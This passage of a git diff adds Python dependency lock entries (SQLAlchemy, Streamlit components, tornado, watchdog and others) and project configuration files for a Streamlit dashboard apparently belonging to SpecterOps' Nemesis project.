+ {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:536c86ec81ca89291d533ff41a3a05f9e4e88e01906dcee0751fc7082f3e8d6c"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:435f6807fa6a0597d84741470f19db204a7d34625ea121abd63e8d95f673f0c4"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-win32.whl", hash = "sha256:da7381a883aee20b7d2ffda17d909b38134b6a625920e65239a1c681881df800"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-win_amd64.whl", hash = "sha256:788d1772fb8dcd12091ca82809eef504ce0f2c423e45284bc351b872966ff554"},
+ {file = "SQLAlchemy-2.0.15-py3-none-any.whl", hash = "sha256:933d30273861fe61f014ce2a7e3c364915f5efe9ed250ec1066ca6ea5942c0bd"},
+ {file = "SQLAlchemy-2.0.15.tar.gz", hash = "sha256:2e940a8659ef870ae10e0d9e2a6d5aaddf0ff6e91f7d0d7732afc9e8c4be9bbc"},
+]
+
+[package.dependencies]
+greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+aiomysql = ["aiomysql", "greenlet (!=0.4.17)"]
+aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
+asyncio = ["greenlet (!=0.4.17)"]
+asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
+mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
+mssql = ["pyodbc"]
+mssql-pymssql = ["pymssql"]
+mssql-pyodbc = ["pyodbc"]
+mypy = ["mypy (>=0.910)"]
+mysql = ["mysqlclient (>=1.4.0)"]
+mysql-connector = ["mysql-connector-python"]
+oracle = ["cx-oracle (>=7)"]
+oracle-oracledb = ["oracledb (>=1.0.1)"]
+postgresql = ["psycopg2 (>=2.7)"]
+postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
+postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
+postgresql-psycopg = ["psycopg (>=3.0.7)"]
+postgresql-psycopg2binary = ["psycopg2-binary"]
+postgresql-psycopg2cffi = ["psycopg2cffi"]
+pymysql = ["pymysql"]
+sqlcipher = ["sqlcipher3-binary"]
+
+[[package]]
+name = "st-annotated-text"
+version = "4.0.0"
+description = "A simple component to display annotated text in Streamlit apps."
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "st-annotated-text-4.0.0.tar.gz", hash = "sha256:8337fcb3271c7f59a877e0fce5d822613116a4036d06890fc68cf840430b40aa"},
+]
+
+[package.dependencies]
+htbuilder = "*"
+
+[[package]]
+name = "streamlit"
+version = "1.23.1"
+description = "A faster way to build and share data apps"
+category = "main"
+optional = false
+python-versions = ">=3.7, !=3.9.7"
+files = [
+ {file = "streamlit-1.23.1-py2.py3-none-any.whl", hash = "sha256:02cd55a95acd20d73ff03866956ba6e98d71041ee4728dbfef05cf17069d1bb9"},
+ {file = "streamlit-1.23.1.tar.gz", hash = "sha256:af95a78f9d291f12f779cf66a2bdadfafd8a46fe4fcc6ed281492640ed37bf1e"},
+]
+
+[package.dependencies]
+altair = ">=4.0,<6"
+blinker = ">=1.0.0,<2"
+cachetools = ">=4.0,<6"
+click = ">=7.0,<9"
+gitpython = ">=3,<3.1.19 || >3.1.19,<4"
+importlib-metadata = ">=1.4,<7"
+numpy = ">=1,<2"
+packaging = ">=14.1,<24"
+pandas = ">=0.25,<3"
+pillow = ">=6.2.0,<10"
+protobuf = ">=3.20,<5"
+pyarrow = ">=4.0"
+pydeck = ">=0.1.dev5,<1"
+pympler = ">=0.9,<2"
+python-dateutil = ">=2,<3"
+requests = ">=2.4,<3"
+rich = ">=10.11.0,<14"
+tenacity = ">=8.0.0,<9"
+toml = "<2"
+tornado = ">=6.0.3,<7"
+typing-extensions = ">=4.0.1,<5"
+tzlocal = ">=1.1,<5"
+validators = ">=0.2,<1"
+watchdog = {version = "*", markers = "platform_system != \"Darwin\""}
+
+[package.extras]
+snowflake = ["snowflake-snowpark-python"]
+
+[[package]]
+name = "streamlit-aggrid"
+version = "0.3.4.post3"
+description = "Streamlit component implementation of ag-grid"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "streamlit-aggrid-0.3.4.post3.tar.gz", hash = "sha256:0cb9332199e7735289a673efabc913e1a3466cc188bc025bec2c50c32ab1989a"},
+ {file = "streamlit_aggrid-0.3.4.post3-py3-none-any.whl", hash = "sha256:b909117eb90cfdb855b1c74e694e9ec97554c101baaafb7339eaf885d1f4e49c"},
+]
+
+[package.dependencies]
+pandas = ">=1.2"
+python-decouple = ">=3.6,<4.0"
+streamlit = ">=0.87.0"
+
+[[package]]
+name = "streamlit-authenticator"
+version = "0.2.2"
+description = "A secure authentication module to validate user credentials in a Streamlit application."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "streamlit-authenticator-0.2.2.tar.gz", hash = "sha256:9a3cea4524b99902e97a91f9e5bd2ba6f92f1ee5a126ac90c59195fbe83d74b9"},
+]
+
+[package.dependencies]
+bcrypt = ">=3.1.7"
+extra-streamlit-components = ">=0.1.55"
+PyJWT = ">=2.3.0"
+PyYAML = ">=5.3.1"
+streamlit = ">=0.86"
+
+[[package]]
+name = "streamlit-camera-input-live"
+version = "0.2.0"
+description = "Alternative version of st.camera_input which returns the webcam images live, without any button press needed"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "streamlit-camera-input-live-0.2.0.tar.gz", hash = "sha256:20ceb952b98410084176fcfeb9148e02ea29033a88d4a923161ac7890cedae0f"},
+ {file = "streamlit_camera_input_live-0.2.0-py3-none-any.whl", hash = "sha256:dacb56cdedbb0d6c07e35a66b755b9145b5023e5c855c64193c3d3e73198e9be"},
+]
+
+[package.dependencies]
+jinja2 = "*"
+streamlit = ">=1.2"
+
+[[package]]
+name = "streamlit-card"
+version = "0.0.5"
+description = "A streamlit component, to make UI cards"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "streamlit-card-0.0.5.tar.gz", hash = "sha256:c6656d57396a7498b25d557f63d06c7336738612bff11681256693be3628c30f"},
+ {file = "streamlit_card-0.0.5-py3-none-any.whl", hash = "sha256:ccf13904b076d5d85618bb559cc1c1768874173f4f320e8e24a65b59f0d12342"},
+]
+
+[package.dependencies]
+streamlit = ">=0.63"
+
+[[package]]
+name = "streamlit-chat"
+version = "0.0.2.2"
+description = "A streamlit component, to make chatbots"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "streamlit-chat-0.0.2.2.tar.gz", hash = "sha256:539a526e680628b09ab5b06547fb1dd03aa846798c027002bb1e971e9fefd303"},
+ {file = "streamlit_chat-0.0.2.2-py3-none-any.whl", hash = "sha256:cd5cda5672e8f9c882fdaaca0c2710465ae8d82bc44f5c1cc71fe89bc1c219cb"},
+]
+
+[package.dependencies]
+streamlit = ">=0.63"
+
+[[package]]
+name = "streamlit-cookies-manager"
+version = "0.2.0"
+description = "Access and save cookies from Streamlit"
+category = "main"
+optional = false
+python-versions = ">=3.9,<4.0"
+files = [
+ {file = "streamlit-cookies-manager-0.2.0.tar.gz", hash = "sha256:498531778bd4a63267364e8986b3774319d3ba2f4ba65a92357196723966e4d4"},
+ {file = "streamlit_cookies_manager-0.2.0-py3-none-any.whl", hash = "sha256:12503dc3367dfc2a780cb9e4a81ad791737806a7b9d1c25a006386e32aabe956"},
+]
+
+[package.dependencies]
+cryptography = "*"
+streamlit = ">=0.84"
+
+[[package]]
+name = "streamlit-elements"
+version = "0.1.0"
+description = "React Components for Streamlit."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "streamlit-elements-0.1.0.tar.gz", hash = "sha256:5f9f116f22df3ce4a8636b1dee7c2fd3dc3cb0c66267fd28c3e0314aa1d303a7"},
+ {file = "streamlit_elements-0.1.0-py3-none-any.whl", hash = "sha256:593c4b88c399c55879aa76f7f42970f30106f66acaa4baada6338ae5571790df"},
+]
+
+[package.dependencies]
+streamlit = ">=1.4.0"
+
+[[package]]
+name = "streamlit-embedcode"
+version = "0.1.2"
+description = "Streamlit component for embedded code snippets"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "streamlit-embedcode-0.1.2.tar.gz", hash = "sha256:22a50eb43407bab3d0ed2d4b58e89819da477cd0592ef87edbd373c286712e3a"},
+ {file = "streamlit_embedcode-0.1.2-py3-none-any.whl", hash = "sha256:b3c9520c1b48f2eef3c702b5a967f64c9a8ff2ea8e74ebb26c0e9195965bb923"},
+]
+
+[package.dependencies]
+streamlit = ">=0.63"
+
+[[package]]
+name = "streamlit-extras"
+version = "0.2.7"
+description = "A library to discover, try, install and share Streamlit extras"
+category = "main"
+optional = false
+python-versions = ">=3.8, !=2.7.*, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*, !=3.6.*, !=3.7.*"
+files = [
+ {file = "streamlit_extras-0.2.7-py3-none-any.whl", hash = "sha256:eea7c7bca24dcb2a6cf26e8990c2105d20ac7773fb253452ce5ed665cc032c98"},
+ {file = "streamlit_extras-0.2.7.tar.gz", hash = "sha256:52a8cb3a4394735ee873c92c95fabf56d84cc2400ed0617bbc8b8259c0560276"},
+]
+
+[package.dependencies]
+htbuilder = "0.6.1"
+markdownlit = ">=0.0.5"
+protobuf = "!=3.20.2"
+st-annotated-text = ">=3.0.0"
+streamlit = ">=1.0.0"
+streamlit-camera-input-live = ">=0.2.0"
+streamlit-card = ">=0.0.4"
+streamlit-embedcode = ">=0.1.2"
+streamlit-faker = ">=0.0.2"
+streamlit-image-coordinates = ">=0.1.1,<0.2.0"
+streamlit-keyup = ">=0.1.9"
+streamlit-toggle-switch = ">=1.0.2"
+streamlit-vertical-slider = ">=1.0.2"
+
+[[package]]
+name = "streamlit-faker"
+version = "0.0.2"
+description = "streamlit-faker is a library to very easily fake Streamlit commands"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "streamlit_faker-0.0.2-py3-none-any.whl", hash = "sha256:93d3d910d9be3e60f07c21b28d2ed0487737e071e48ce1faf858e1f68e05b624"},
+ {file = "streamlit_faker-0.0.2.tar.gz", hash = "sha256:3b6625fefb5c2bc759a3b2407c53c97b23cf69924ec31bd2fa7d5313b7691068"},
+]
+
+[package.dependencies]
+faker = "*"
+matplotlib = "*"
+streamlit = "*"
+streamlit-extras = "*"
+
+[[package]]
+name = "streamlit-image-coordinates"
+version = "0.1.3"
+description = "Streamlit component that displays an image and returns the coordinates when you click on it"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "streamlit-image-coordinates-0.1.3.tar.gz", hash = "sha256:d0218bf2f575ce8553f24f6bc286f347f85f6dd2f36c96dc04b10dd6b74e27ca"},
+ {file = "streamlit_image_coordinates-0.1.3-py3-none-any.whl", hash = "sha256:3933b60e48e8e3a9c08c02b38bdf7bc1cf4895856e45733f00f3045ef852b332"},
+]
+
+[package.dependencies]
+jinja2 = "*"
+streamlit = ">=1.2"
+
+[[package]]
+name = "streamlit-keyup"
+version = "0.2.0"
+description = "Text input that renders on keyup"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "streamlit-keyup-0.2.0.tar.gz", hash = "sha256:5a38037af547163566eff9fec0ee17a7e3556e4bf99b68d44327c726b8ea85b3"},
+ {file = "streamlit_keyup-0.2.0-py3-none-any.whl", hash = "sha256:7a187a40c3a95e3fea71be08e96e24c92c7054914e35c5bec3071be46f8a498e"},
+]
+
+[package.dependencies]
+jinja2 = "*"
+streamlit = ">=1.2"
+
+[[package]]
+name = "streamlit-searchbox"
+version = "0.1.3"
+description = "Autocomplete Searchbox"
+category = "main"
+optional = false
+python-versions = ">=3.7, !=3.9.7"
+files = [
+ {file = "streamlit-searchbox-0.1.3.tar.gz", hash = "sha256:694a233801ffdba19f0fe59df853c65378dc57d3ba09fdc31f616e1c86fc8444"},
+ {file = "streamlit_searchbox-0.1.3-py3-none-any.whl", hash = "sha256:477780cc0d510c6edbc9b7d956451d830c919a9b05f2ba918a49516ccb805b60"},
+]
+
+[package.dependencies]
+streamlit = ">=0.63"
+
+[package.extras]
+dev = ["black", "isort", "ruff"]
+tests = ["wikipedia"]
+
+[[package]]
+name = "streamlit-toggle-switch"
+version = "1.0.2"
+description = "Creates a customizable toggle"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "streamlit_toggle_switch-1.0.2-py3-none-any.whl", hash = "sha256:0081212d80d178bda337acf2432425e2016d757f57834b18645d4c5b928d4c0f"},
+ {file = "streamlit_toggle_switch-1.0.2.tar.gz", hash = "sha256:991b103cd3448b0f6507f8051777b996a17b4630956d5b6fa13344175b20e572"},
+]
+
+[package.dependencies]
+streamlit = ">=0.63"
+
+[[package]]
+name = "streamlit-vertical-slider"
+version = "1.0.2"
+description = "Creates a customizable vertical slider"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "streamlit_vertical_slider-1.0.2-py3-none-any.whl", hash = "sha256:ab727cd5c1799c1d9a19c6201ff2a9bcda08222c849c5670ad7a0d994c9fdcdc"},
+ {file = "streamlit_vertical_slider-1.0.2.tar.gz", hash = "sha256:6eaee79a397341eee6ec7862b77d27d548d2bdd126812fd811f831bd4d561f48"},
+]
+
+[package.dependencies]
+streamlit = ">=0.63"
+
+[[package]]
+name = "tenacity"
+version = "8.2.2"
+description = "Retry code until it succeeds"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"},
+ {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"},
+]
+
+[package.extras]
+doc = ["reno", "sphinx", "tornado (>=4.5)"]
+
+[[package]]
+name = "toml"
+version = "0.10.2"
+description = "Python Library for Tom's Obvious, Minimal Language"
+category = "main"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"},
+ {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"},
+]
+
+[[package]]
+name = "toolz"
+version = "0.12.0"
+description = "List processing tools and functional utilities"
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "toolz-0.12.0-py3-none-any.whl", hash = "sha256:2059bd4148deb1884bb0eb770a3cde70e7f954cfbbdc2285f1f2de01fd21eb6f"},
+ {file = "toolz-0.12.0.tar.gz", hash = "sha256:88c570861c440ee3f2f6037c4654613228ff40c93a6c25e0eba70d17282c6194"},
+]
+
+[[package]]
+name = "tornado"
+version = "6.3.2"
+description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed."
+category = "main"
+optional = false
+python-versions = ">= 3.8"
+files = [
+ {file = "tornado-6.3.2-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:c367ab6c0393d71171123ca5515c61ff62fe09024fa6bf299cd1339dc9456829"},
+ {file = "tornado-6.3.2-cp38-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b46a6ab20f5c7c1cb949c72c1994a4585d2eaa0be4853f50a03b5031e964fc7c"},
+ {file = "tornado-6.3.2-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2de14066c4a38b4ecbbcd55c5cc4b5340eb04f1c5e81da7451ef555859c833f"},
+ {file = "tornado-6.3.2-cp38-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:05615096845cf50a895026f749195bf0b10b8909f9be672f50b0fe69cba368e4"},
+ {file = "tornado-6.3.2-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b17b1cf5f8354efa3d37c6e28fdfd9c1c1e5122f2cb56dac121ac61baa47cbe"},
+ {file = "tornado-6.3.2-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:29e71c847a35f6e10ca3b5c2990a52ce38b233019d8e858b755ea6ce4dcdd19d"},
+ {file = "tornado-6.3.2-cp38-abi3-musllinux_1_1_i686.whl", hash = "sha256:834ae7540ad3a83199a8da8f9f2d383e3c3d5130a328889e4cc991acc81e87a0"},
+ {file = "tornado-6.3.2-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6a0848f1aea0d196a7c4f6772197cbe2abc4266f836b0aac76947872cd29b411"},
+ {file = "tornado-6.3.2-cp38-abi3-win32.whl", hash = "sha256:7efcbcc30b7c654eb6a8c9c9da787a851c18f8ccd4a5a3a95b05c7accfa068d2"},
+ {file = "tornado-6.3.2-cp38-abi3-win_amd64.whl", hash = "sha256:0c325e66c8123c606eea33084976c832aa4e766b7dff8aedd7587ea44a604cdf"},
+ {file = "tornado-6.3.2.tar.gz", hash = "sha256:4b927c4f19b71e627b13f3db2324e4ae660527143f9e1f2e2fb404f3a187e2ba"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.6.3"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.6.3-py3-none-any.whl", hash = "sha256:88a4153d8505aabbb4e13aacb7c486c2b4a33ca3b3f807914a9b4c844c471c26"},
+ {file = "typing_extensions-4.6.3.tar.gz", hash = "sha256:d91d5919357fe7f681a9f2b5b4cb2a5f1ef0a1e9f59c4d8ff0d3491e05c0ffd5"},
+]
+
+[[package]]
+name = "tzdata"
+version = "2023.3"
+description = "Provider of IANA time zone data"
+category = "main"
+optional = false
+python-versions = ">=2"
+files = [
+ {file = "tzdata-2023.3-py2.py3-none-any.whl", hash = "sha256:7e65763eef3120314099b6939b5546db7adce1e7d6f2e179e3df563c70511eda"},
+ {file = "tzdata-2023.3.tar.gz", hash = "sha256:11ef1e08e54acb0d4f95bdb1be05da659673de4acbd21bf9c69e94cc5e907a3a"},
+]
+
+[[package]]
+name = "tzlocal"
+version = "4.3"
+description = "tzinfo object for the local timezone"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tzlocal-4.3-py3-none-any.whl", hash = "sha256:b44c4388f3d34f25862cfbb387578a4d70fec417649da694a132f628a23367e2"},
+ {file = "tzlocal-4.3.tar.gz", hash = "sha256:3f21d09e1b2aa9f2dacca12da240ca37de3ba5237a93addfd6d593afe9073355"},
+]
+
+[package.dependencies]
+pytz-deprecation-shim = "*"
+tzdata = {version = "*", markers = "platform_system == \"Windows\""}
+
+[package.extras]
+devenv = ["black", "check-manifest", "flake8", "pyroma", "pytest (>=4.3)", "pytest-cov", "pytest-mock (>=3.3)", "zest.releaser"]
+
+[[package]]
+name = "urllib3"
+version = "1.26.16"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"},
+ {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[[package]]
+name = "validators"
+version = "0.20.0"
+description = "Python Data Validation for Humans™."
+category = "main"
+optional = false
+python-versions = ">=3.4"
+files = [
+ {file = "validators-0.20.0.tar.gz", hash = "sha256:24148ce4e64100a2d5e267233e23e7afeb55316b47d30faae7eb6e7292bc226a"},
+]
+
+[package.dependencies]
+decorator = ">=3.4.0"
+
+[package.extras]
+test = ["flake8 (>=2.4.0)", "isort (>=4.2.2)", "pytest (>=2.2.3)"]
+
+[[package]]
+name = "watchdog"
+version = "3.0.0"
+description = "Filesystem events monitoring"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:336adfc6f5cc4e037d52db31194f7581ff744b67382eb6021c868322e32eef41"},
+ {file = "watchdog-3.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a70a8dcde91be523c35b2bf96196edc5730edb347e374c7de7cd20c43ed95397"},
+ {file = "watchdog-3.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:adfdeab2da79ea2f76f87eb42a3ab1966a5313e5a69a0213a3cc06ef692b0e96"},
+ {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2b57a1e730af3156d13b7fdddfc23dea6487fceca29fc75c5a868beed29177ae"},
+ {file = "watchdog-3.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7ade88d0d778b1b222adebcc0927428f883db07017618a5e684fd03b83342bd9"},
+ {file = "watchdog-3.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7e447d172af52ad204d19982739aa2346245cc5ba6f579d16dac4bfec226d2e7"},
+ {file = "watchdog-3.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9fac43a7466eb73e64a9940ac9ed6369baa39b3bf221ae23493a9ec4d0022674"},
+ {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:8ae9cda41fa114e28faf86cb137d751a17ffd0316d1c34ccf2235e8a84365c7f"},
+ {file = "watchdog-3.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:25f70b4aa53bd743729c7475d7ec41093a580528b100e9a8c5b5efe8899592fc"},
+ {file = "watchdog-3.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4f94069eb16657d2c6faada4624c39464f65c05606af50bb7902e036e3219be3"},
+ {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7c5f84b5194c24dd573fa6472685b2a27cc5a17fe5f7b6fd40345378ca6812e3"},
+ {file = "watchdog-3.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3aa7f6a12e831ddfe78cdd4f8996af9cf334fd6346531b16cec61c3b3c0d8da0"},
+ {file = "watchdog-3.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:233b5817932685d39a7896b1090353fc8efc1ef99c9c054e46c8002561252fb8"},
+ {file = "watchdog-3.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:13bbbb462ee42ec3c5723e1205be8ced776f05b100e4737518c67c8325cf6100"},
+ {file = "watchdog-3.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8f3ceecd20d71067c7fd4c9e832d4e22584318983cabc013dbf3f70ea95de346"},
+ {file = "watchdog-3.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c9d8c8ec7efb887333cf71e328e39cffbf771d8f8f95d308ea4125bf5f90ba64"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:0e06ab8858a76e1219e68c7573dfeba9dd1c0219476c5a44d5333b01d7e1743a"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:d00e6be486affb5781468457b21a6cbe848c33ef43f9ea4a73b4882e5f188a44"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:c07253088265c363d1ddf4b3cdb808d59a0468ecd017770ed716991620b8f77a"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:5113334cf8cf0ac8cd45e1f8309a603291b614191c9add34d33075727a967709"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:51f90f73b4697bac9c9a78394c3acbbd331ccd3655c11be1a15ae6fe289a8c83"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:ba07e92756c97e3aca0912b5cbc4e5ad802f4557212788e72a72a47ff376950d"},
+ {file = "watchdog-3.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:d429c2430c93b7903914e4db9a966c7f2b068dd2ebdd2fa9b9ce094c7d459f33"},
+ {file = "watchdog-3.0.0-py3-none-win32.whl", hash = "sha256:3ed7c71a9dccfe838c2f0b6314ed0d9b22e77d268c67e015450a29036a81f60f"},
+ {file = "watchdog-3.0.0-py3-none-win_amd64.whl", hash = "sha256:4c9956d27be0bb08fc5f30d9d0179a855436e655f046d288e2bcc11adfae893c"},
+ {file = "watchdog-3.0.0-py3-none-win_ia64.whl", hash = "sha256:5d9f3a10e02d7371cd929b5d8f11e87d4bad890212ed3901f9b4d68767bee759"},
+ {file = "watchdog-3.0.0.tar.gz", hash = "sha256:4d98a320595da7a7c5a18fc48cb633c2e73cda78f93cac2ef42d42bf609a33f9"},
+]
+
+[package.extras]
+watchmedo = ["PyYAML (>=3.10)"]
+
+[[package]]
+name = "zipp"
+version = "3.15.0"
+description = "Backport of pathlib-compatible object wrapper for zip files"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "zipp-3.15.0-py3-none-any.whl", hash = "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"},
+ {file = "zipp-3.15.0.tar.gz", hash = "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b"},
+]
+
+[package.extras]
+docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
+testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"]
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.11.2"
+content-hash = "268b65b52c39a47d3cea2b3c970ff63aa6eb8f469b45342e3c0294abc1df1621"
diff --git a/cmd/dashboard/poetry.toml b/cmd/dashboard/poetry.toml
new file mode 100644
index 0000000..be97f1e
--- /dev/null
+++ b/cmd/dashboard/poetry.toml
@@ -0,0 +1,3 @@
+[virtualenvs]
+in-project = true
+prefer-active-python = true
\ No newline at end of file
diff --git a/cmd/dashboard/pyproject.toml b/cmd/dashboard/pyproject.toml
new file mode 100644
index 0000000..db69827
--- /dev/null
+++ b/cmd/dashboard/pyproject.toml
@@ -0,0 +1,59 @@
+[tool.poetry]
+name = "dashboard"
+version = "0.1.0"
+description = "Main dashboard for interaction with Nemesis"
+authors = ["SpecterOps "]
+readme = "README.md"
+
+[tool.poetry.dependencies]
+python = "^3.11.2"
+streamlit = "^1.21.0"
+streamlit-authenticator = "^0.2.1"
+streamlit-extras = "^0.2.7"
+sqlalchemy = "^2.0.9"
+psycopg = "^3.1.8"
+elasticsearch = "^8.7.0"
+streamlit-aggrid = "^0.3.4.post3"
+psycopg2 = "^2.9.6"
+streamlit-chat = "^0.0.2.2"
+streamlit-cookies-manager = "^0.2.0"
+streamlit-searchbox = "^0.1.3"
+requests = "^2.30.0"
+streamlit-elements = "^0.1.0"
+
+
+[tool.poetry.group.dev.dependencies]
+debugpy = "^1.6.7"
+
+[build-system]
+requires = ["poetry-core"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.isort]
+import_heading_stdlib = "Standard Libraries"
+import_heading_firstparty = "Nemesis Libraries"
+import_heading_thirdparty = "3rd Party Libraries"
+profile = "black"
+extra_standard_library = "asgiref"
+known_first_party = "nemesis"
+src_paths = ["isort", "test"]
+line_length = 90
+use_parentheses = true
+multi_line_output = 3
+include_trailing_comma = true
+ensure_newline_before_comments = true
+sections = [
+ "FUTURE",
+ "STDLIB",
+ "DJANGO",
+ "THIRDPARTY",
+ "FIRSTPARTY",
+ "LOCALFOLDER",
+]
+
+# [tool.pyright]
+# Using pyrightconfig.json instead since pyproject.toml has 2nd class
+# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235
+
+[tool.black]
+line-length = 240
\ No newline at end of file
diff --git a/cmd/dashboard/pyrightconfig.json b/cmd/dashboard/pyrightconfig.json
new file mode 100644
index 0000000..102e0c9
--- /dev/null
+++ b/cmd/dashboard/pyrightconfig.json
@@ -0,0 +1,40 @@
+{
+ "include": [
+ "**/*.py"
+ ],
+ "exclude": [
+ "**/__pycache__/**",
+ "**/.git/objects/**",
+ "**/.git/subtree-cache/**",
+ "**/.hg/store/**",
+ "**/.ipynb_checkpoints/**",
+ "**/.mypy_cache/**",
+ "**/.pytest_cache/**",
+ "**/.venv/**",
+ "**/*.egg-info/**",
+ "**/build/**",
+ "**/dist/**",
+ "**/node_modules/*/**",
